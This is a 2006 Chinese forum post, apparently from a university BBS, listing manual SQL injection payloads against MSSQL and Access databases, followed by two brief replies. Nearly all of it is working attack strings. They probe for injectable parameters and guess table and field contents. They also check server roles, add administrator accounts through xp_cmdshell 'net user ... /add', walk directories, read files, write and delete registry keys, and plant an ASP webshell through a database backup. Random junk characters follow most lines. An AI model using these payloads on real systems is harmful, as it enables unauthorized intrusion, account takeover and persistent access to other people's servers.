社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3793阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 P$Fq62;}r4  
  2.初步判断是否是mssql ;and user>0 Ak+MR EG  
[_1K1i"m  
  3.注入参数是字符'and [查询条件] and ''='  li  
`Oe"s_O#  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' *ulkqpO  
H'x) [2  
  5.判断数据库系统 }HxC ~J"  
W3]?>sLE*  
  ;and (select count(*) from sysobjects)>0 mssql 6GsB*hW  
2<TpNGXM_  
  ;and (select count(*) from msysobjects)>0 access U$EQeb  
KCi0v  
gmdA1$c  
nrJW.F]S8[  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 EzGO/uZ]  
f;]C8/W  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 j)Y68fKK  
:0vKt 6>Sp  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 _&K>fy3t&  
!H4C5wDu  
  9.(1)猜字段的ascii值(access) [=& tN)_  
r@ v&~pL  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 4C`p`AQqpQ  
UU  DZ  
  (2)猜字段的ascii值(mssql) x?n13C  
KpfQ=~'  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 +.IncY8C$  
@9\L|O'~?  
  10.测试权限结构(mssql) f6JC>Np  
k'PNfx\K  
;[!W*8.c  
?.6fVSa  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4nU+Wj?T  
Ht&%`\9s  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- \><v1x>;  
#jT=;G7f2  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- gbjql+Mx+  
pXl *`[0X#  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- j[Oh>yG  
/<)kI(gf  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- aJSBG|IC  
9 M!U@>  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ]Aa.=  
'I5~<"E  
  ;and 1=(select IS_MEMBER('db_owner'));-- <gjA(xT5  
v|GDPq  
U{Moyj  
4j}uVGi{e  
  11.添加mssql和系统的帐户 G&dz<f  
vl:V?-sY  
  ;exec master.dbo.sp_addlogin username;-- k_](u91  
  ;exec master.dbo.sp_password null,username,password;-- C~8;2/F7  
f<Xi/ (  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- A)641"[  
6 i'kc3w  
  ;exec master.dbo.xp_cmdshell 'net user username password J:G~9~V^  
'-vzQd@y  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--  :qrCqFl  
r"x/,!_E  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- VTs ,Ln!,U  
+JPHQx'W  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- X$9 "dL  
+=g9T`YbE  
(VB-5&b  
97MbyEE8J  
  12.(1)遍历目录 Iv51,0A  
H* vd  
  ;create table dirs(paths varchar(100), id int) Cbjx{  
??h4qJ  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' WQ)vu&;  
OQ*rxL cA  
  ;and (select top 1 paths from dirs)>0 q+cx.Rc#  
Erq% Ck(  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) *;Gnod<  
d <Rv~F@  
wfrSI:+>  
Z Ne(sg~G  
  (2)遍历目录 o 12w p  
aT20FEZ;  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;}QM#5Xdt  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ZmzYJ$:6  
hVd PO  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 yvt :/X  
`;v>fTcy  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 J6J|&Z~UT,  
48"=,IrM  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 {B)-+0 6  
;/)u/[KAv  
 Mt   
)sG/H8  
  13.mssql中的存储过程 @;g|styh^  
MfK}DEJK,  
  xp_regenumvalues 注册表根键, 子键 'D17]Lp~.  
2y@y<38  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 N]7#Q.(~  
}8)iFP&"  
  xp_regread 根键,子键,键值名 +nm?+ F  
>%Nqgn$V  
  ;exec xp_regread khS >  
,c.(&@  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 t+%tN^87:  
%xh A2  
  xp_regwrite 根键,子键, 值名, 值类型, 值 @zAav>  
K %Qj<{)  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 :?J0e4.]  
,e!9WKJ B  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 {aVL3QU  
k!= jO#)Rd  
  xp_regdeletevalue 根键,子键,值名 pjrzoMF  
4j VFzO%.  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 X2S:"0?7  
bbAJ5EqL  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 j  hr pS  
0="U'|J_  
<OA[u-ph%S  
e'L$g-;>4b  
  14.mssql的backup创建webshell sB'Z9  
&#DKB#.2  
  use model PR;A 0   
)]P%=  
  create table cmd(str image); 4}MZB*);0  
2%gLq  
  insert into cmd(str) values (''); VVVw\|JB>  
P DtLJt$  
  backup database model to disk='c:\l.asp'; J'4V_Kjg-  
e!.r- v9  
NkL>ru!b9  
J~(M%] &k^  
  15.mssql内置函数 x9B5@2J1  
J4>k9~q  
  ;and (select @@version)>0 获得Windows的版本号 iIO_d4Z  
&HIG776  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa U1~6o"1H  
+u]L# ].;  
  ;and (select user_name())>0 爆当前系统的连接用户 gaa;PX  
#(f- cK  
  ;and (select db_name())>0 得到当前连接的数据库 V/CZcMY_  
SRBQ"X[M2  
5"o)^8!>  
uszH1@g'  
  16.简洁的webshell G'0]m-)dw  
U?sio%`(  
  use model ?VP07 dQTe  
H;=++Dh  
  create table cmd(str image); QZ^P2==x  
N9jSiRJ  
  insert into cmd(str) values (''); Q]"u?Q]  
h Lv_ER?  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八